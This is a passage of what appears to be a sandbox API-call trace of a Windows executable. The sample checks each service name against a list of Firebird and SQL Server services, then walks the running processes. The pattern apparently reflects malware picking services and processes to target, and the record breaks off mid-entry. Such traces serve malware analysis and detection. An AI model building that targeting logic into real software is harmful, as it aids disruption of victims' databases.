(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.075] lstrlenW (lpString="PcaSvc") returned 6 [0047.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.076] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.076] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.076] lstrlenW (lpString="PlugPlay") returned 8 [0047.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.076] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.076] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.076] lstrlenW (lpString="Power") returned 5 [0047.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.076] lstrlenW (lpString="ProfSvc") returned 7 [0047.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.076] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.076] lstrlenW (lpString="RpcSs") returned 5 [0047.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.077] lstrlenW (lpString="SamSs") returned 5 [0047.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.077] lstrlenW (lpString="Schedule") returned 8 [0047.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.077] lstrlenW (lpString="SecurityHealthService") returned 21 [0047.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0047.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0047.077] lstrlenW (lpString="SENS") returned 4 [0047.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.077] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.077] lstrlenW (lpString="Spooler") returned 7 [0047.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.078] lstrlenW (lpString="SSDPSRV") returned 7 [0047.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0047.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0047.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0047.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0047.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0047.078] lstrlenW (lpString="StateRepository") returned 15 [0047.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0047.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0047.078] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0047.078] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0047.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0047.078] lstrlenW (lpString="SysMain") returned 7 [0047.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fd420 | out: hHeap=0x6a0000) returned 1 [0047.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0047.085] Process32FirstW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.086] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.087] lstrlenW (lpString="System") returned 6 [0047.087] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.087] lstrlenW (lpString="smss.exe") returned 8 [0047.087] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.088] lstrlenW (lpString="csrss.exe") returned 9 [0047.088] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.088] lstrlenW (lpString="wininit.exe") returned 11 [0047.089] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.193] lstrlenW (lpString="csrss.exe") returned 9 [0047.193] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.193] lstrlenW (lpString="winlogon.exe") returned 12 [0047.193] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.194] lstrlenW (lpString="services.exe") returned 12 [0047.194] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.195] lstrlenW (lpString="lsass.exe") returned 9 [0047.195] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.196] lstrlenW (lpString="svchost.exe") returned 11 [0047.196] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0047.196] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0047.196] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0047.197] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0047.197] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.198] lstrlenW (lpString="svchost.exe") returned 11 [0047.198] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.198] lstrlenW (lpString="dwm.exe") returned 7 [0047.198] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.199] lstrlenW (lpString="svchost.exe") returned 11 [0047.199] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.200] lstrlenW (lpString="svchost.exe") returned 11 [0047.200] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.201] lstrlenW (lpString="svchost.exe") returned 11 [0047.201] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.201] lstrlenW (lpString="svchost.exe") returned 11 [0047.201] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.202] lstrlenW (lpString="svchost.exe") returned 11 [0047.202] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.202] lstrlenW (lpString="svchost.exe") returned 11 [0047.202] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.203] lstrlenW (lpString="svchost.exe") returned 11 [0047.203] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.204] lstrlenW (lpString="svchost.exe") returned 11 [0047.204] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.204] lstrlenW (lpString="svchost.exe") returned 11 [0047.204] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.205] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.205] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.206] lstrlenW (lpString="svchost.exe") returned 11 [0047.206] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.206] lstrlenW (lpString="svchost.exe") returned 11 [0047.206] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.207] lstrlenW (lpString="audiodg.exe") returned 11 [0047.207] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0047.208] lstrlenW (lpString="sihost.exe") returned 10 [0047.208] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.208] lstrlenW (lpString="svchost.exe") returned 11 [0047.208] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0047.209] lstrlenW (lpString="taskhostw.exe") returned 13 [0047.209] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0047.210] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0047.210] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0047.210] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0047.210] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.211] lstrlenW (lpString="explorer.exe") returned 12 [0047.211] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0047.211] lstrlenW (lpString="Memory Compression") returned 18 [0047.212] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0047.212] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0047.212] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0047.213] lstrlenW (lpString="SearchUI.exe") returned 12 [0047.213] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0047.214] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0047.214] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.214] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.214] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0047.215] lstrlenW (lpString="taskhostw.exe") returned 13 [0047.215] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0047.216] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0047.216] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0047.216] lstrlenW (lpString="UsoClient.exe") returned 13 [0047.216] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0047.217] lstrlenW (lpString="taskhostw.exe") returned 13 [0047.217] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0047.218] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0047.218] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0047.218] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0047.218] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0047.219] lstrlenW (lpString="msoia.exe") returned 9 [0047.219] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0047.220] lstrlenW (lpString="msoia.exe") returned 9 [0047.220] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0047.220] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0047.220] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0047.221] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0047.221] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0047.222] lstrlenW (lpString="xml-upper.exe") returned 13 [0047.222] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0047.222] lstrlenW (lpString="defeat preston.exe") returned 18 [0047.222] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, 